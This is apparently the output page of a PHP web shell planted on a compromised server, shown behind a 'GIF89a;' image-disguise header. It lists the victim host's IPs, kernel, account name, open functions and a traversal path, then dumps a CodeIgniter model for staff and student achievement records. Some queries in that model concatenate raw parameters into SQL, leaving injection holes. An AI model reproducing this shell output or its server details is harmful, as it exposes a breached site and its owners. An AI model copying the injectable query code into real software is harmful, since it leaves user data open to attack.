GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 3.148.108.144
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/pdf/../../cas/application/models/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/pdf/../../cas/application/models/admin/AchievementManagement.php
<?php

/**
 * Model class for handling all DB operations related to achievements
 *
 * @author Softpro India Pvt. Ltd.
 */
class AchievementManagement extends CI_Model {

    function createNewAchievementHead(array $newAchievementHeadInfo) {
        $this->db->insert('tbl_achievement_heads_mst', $newAchievementHeadInfo);
        return $this->db->insert_id();
    }

    function getAllAchievementHeads() {
        $this->db->select("*,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from('tbl_achievement_heads_mst TAHM');
        $this->db->join('tbl_staff_members TSMA', 'TAHM.tsam_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'TAHM.tsam_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->order_by("TAHM.tsam_added_on", "desc");
        return $this->db->get();
    }

    function getNonDeletedActiveAchievementHeads($applicable_for = '') {
        $this->db->select("*,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from('tbl_achievement_heads_mst TAHM');
        $this->db->join('tbl_staff_members TSMA', 'TAHM.tsam_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'TAHM.tsam_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->where("TAHM.tsam_active_status", "T");
        $this->db->where("TAHM.tsam_delete_status", "F");
        if ($applicable_for != '') {
            $this->db->where("TAHM.tsam_for IN ('B','" . $applicable_for . "')");
        }
        $this->db->order_by("TAHM.tsam_short_title", "ASC");
        return $this->db->get();
    }

    function getAchievementHeadInfoBy($ac_head_id) {
        $this->db->select("*,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from('tbl_achievement_heads_mst TAHM');
        $this->db->join('tbl_staff_members TSMA', 'TAHM.tsam_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'TAHM.tsam_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->where("TAHM.tsam_id", $ac_head_id);
        return $this->db->get();
    }

    function getAchievementHeadInfoByTitle($ac_head_title) {
        $this->db->select("*,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from('tbl_achievement_heads_mst TAHM');
        $this->db->join('tbl_staff_members TSMA', 'TAHM.tsam_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'TAHM.tsam_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->where("TAHM.tsam_title", $ac_head_title);
        return $this->db->get();
    }

    function getAchievementHeadInfoByShortTitle($ac_head_short_title) {
        $this->db->select("*,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from('tbl_achievement_heads_mst TAHM');
        $this->db->join('tbl_staff_members TSMA', 'TAHM.tsam_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'TAHM.tsam_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->where("TAHM.tsam_short_title", $ac_head_short_title);
        return $this->db->get();
    }

    function isAchievementHeadTitleSafeUpdate($ac_head_id, $ac_head_title) {
        $this->db->select("*");
        $this->db->from('tbl_achievement_heads_mst');
        $this->db->where('tsam_title', $ac_head_title);
        $this->db->where('tsam_id != ' . $ac_head_id);
        $result = $this->db->get()->result();
        if (sizeof($result)) {
            return FALSE;
        } else {
            return TRUE;
        }
    }

    function isAchievementHeadShortTitleSafeUpdate($ac_head_id, $ac_head_short_title) {
        $this->db->select("*");
        $this->db->from('tbl_achievement_heads_mst');
        $this->db->where('tsam_short_title', $ac_head_short_title);
        $this->db->where('tsam_id != ' . $ac_head_id);
        $result = $this->db->get()->result();
        if (sizeof($result)) {
            return FALSE;
        } else {
            return TRUE;
        }
    }

    function updateAchievementHeadInfo(array $achievementHeadUpdatedInfo) {
        $this->db->where('tsam_id', $achievementHeadUpdatedInfo['tsam_id']);
        return $this->db->update('tbl_achievement_heads_mst', $achievementHeadUpdatedInfo);
    }

    /* Functions For Achievements & Related Stuffs */

    function createNewAchievement(array $newAchievementInfo) {
        $this->db->insert('achievements_mst', $newAchievementInfo);
        return $this->db->insert_id();
    }

    function getAllAchievementsBy($object_id, $object_type, $deleteStatus = '') {
        $this->db->select("*");
        $this->db->from('achievements_mst SAM');
        $this->db->join('tbl_achievement_heads_mst TAHM', 'SAM.tsam_id = TAHM.tsam_id');
        $this->db->join('tbl_session_master TSM', 'SAM.session_id = TSM.session_id');
        if ($deleteStatus != '') {
            $this->db->where("SAM.sam_delete_status", $deleteStatus);
        }
        $this->db->where("SAM.object_id", $object_id);
        $this->db->where("SAM.object_type", $object_type);
        return $this->db->get();
    }

    function getAchievementBy($sam_id) {
        $this->db->select("*");
        $this->db->from('achievements_mst SAM');
        $this->db->join('tbl_achievement_heads_mst TAHM', 'SAM.tsam_id = TAHM.tsam_id');
        $this->db->join('tbl_session_master TSM', 'SAM.session_id = TSM.session_id');
        $this->db->where("SAM.sam_id", $sam_id);
        return $this->db->get();
    }

    function updateAchievement(array $achievementUpdatedInfo) {
        $this->db->where('sam_id', $achievementUpdatedInfo['sam_id']);
        return $this->db->update('achievements_mst', $achievementUpdatedInfo);
    }

    function getStaffAchievementReport($department = '', $subDepartment = '', $desinationCategory = '', $designation = '', $session = '', $achievementHead = '') {
        $this->db->select("*");
        $this->db->from('achievements_mst SAM');
        $this->db->join('tbl_achievement_heads_mst TAHM', 'SAM.tsam_id = TAHM.tsam_id');
        $this->db->join('tbl_session_master TSM', 'SAM.session_id = TSM.session_id');
        $this->db->join('tbl_staff_members TSTM', 'SAM.object_id = TSTM.smember_id');
        $this->db->join('tbl_profile TPRFL', 'TSTM.tprfl_id = TPRFL.tprfl_id');
        $this->db->join('tbl_logindetails TLD', 'TSTM.tld_id = TLD.tld_id');
        $this->db->join('tbl_role_master TRM', 'TSTM.role_id = TRM.role_id');
        $this->db->join('tbl_designation_master TDEM', 'TPRFL.desig_id = TDEM.desig_id');
        $this->db->join('designation_category_mst DCM', 'TDEM.dcm_id = DCM.dcm_id');
        $this->db->join('tbl_sub_departments_master TSDM', 'TLD.sub_dept_id = TSDM.sub_dept_id');
        $this->db->join('tbl_department_master TDM', 'TSDM.dept_id = TDM.dept_id');
        $this->db->join('tbl_sms_branch_master TSBM', 'TLD.branch_id = TSBM.branch_id');
        $this->db->where("SAM.object_type", "E");
        /* Department Wise Filter */
        if ($department != '') {
            $this->db->where("TDM.dept_id", $department);
        }
        /* Department Wise Filter */
        /* Sub-Department Wise Filter */
        if ($subDepartment != '') {
            $this->db->where("TLD.sub_dept_id", $subDepartment);
        }
        /* Sub-Department Wise Filter */
        /* Designation Category Wise Filter */
        if ($desinationCategory != '') {
            $this->db->where("DCM.dcm_id", $desinationCategory);
        }
        /* Designation Category Wise Filter */
        /* Designation Wise Filter */
        if ($designation != '') {
            $this->db->where("TPRFL.desig_id", $designation);
        }
        /* Designation Wise Filter */
        /* Session Wise Filter */
        if ($session != '') {
            $this->db->where("SAM.session_id", $session);
        }
        /* Session Wise Filter */
        /* Achievement Head Wise Filter */
        if ($achievementHead != '') {
            $this->db->where("SAM.tsam_id", $achievementHead);
        }
        /* Achievement Head Wise Filter */
        return $this->db->get();
    }

    function getStudentAchievementReport($course = '', $session = '', $entryType = '', $achievementSession = '', $achievementHead = '') {
        $this->db->select("*");
        $this->db->from('achievements_mst SAM');
        $this->db->join('tbl_achievement_heads_mst TAHM', 'SAM.tsam_id = TAHM.tsam_id');
        $this->db->join('tbl_session_master TSMACH', 'SAM.session_id = TSMACH.session_id');
        $this->db->join('tbl_student_personal_info TSPI', 'SAM.object_id = TSPI.tspi_id');
        $this->db->join('tbl_univ_course_session_mapping TUCSM', 'TSPI.ucs_map_id = TUCSM.ucs_map_id');
        $this->db->join('tbl_session_master TSM', 'TUCSM.session_id = TSM.session_id');
        $this->db->join('tbl_course_sub_master TSCM', 'TUCSM.sub_course_id = TSCM.tcsm_id');
        $this->db->join('tbl_course_master TCM', 'TSCM.course_id = TCM.course_id');
        $this->db->where("SAM.object_type", "S");
        /* Course Wise Filter */
        if ($course != '') {
            $this->db->where("TCM.course_id", $course);
        }
        /* Course Wise Filter */
        /* Session Wise Filter */
        if ($session != '') {
            $this->db->where("TSM.session_id", $session);
        }
        /* Session Wise Filter */
        /* Entry Type Wise Filter */
        if ($entryType != '') {
            $this->db->where("TSPI.ucs_map_id", $entryType);
        }
        /* Entry Type Wise Filter */
        /* Session Wise Filter */
        if ($achievementSession != '') {
            $this->db->where("SAM.session_id", $achievementSession);
        }
        /* Session Wise Filter */
        /* Achievement Head Wise Filter */
        if ($achievementHead != '') {
            $this->db->where("SAM.tsam_id", $achievementHead);
        }
        /* Achievement Head Wise Filter */
        return $this->db->get();
    }

}

KBHT - 2023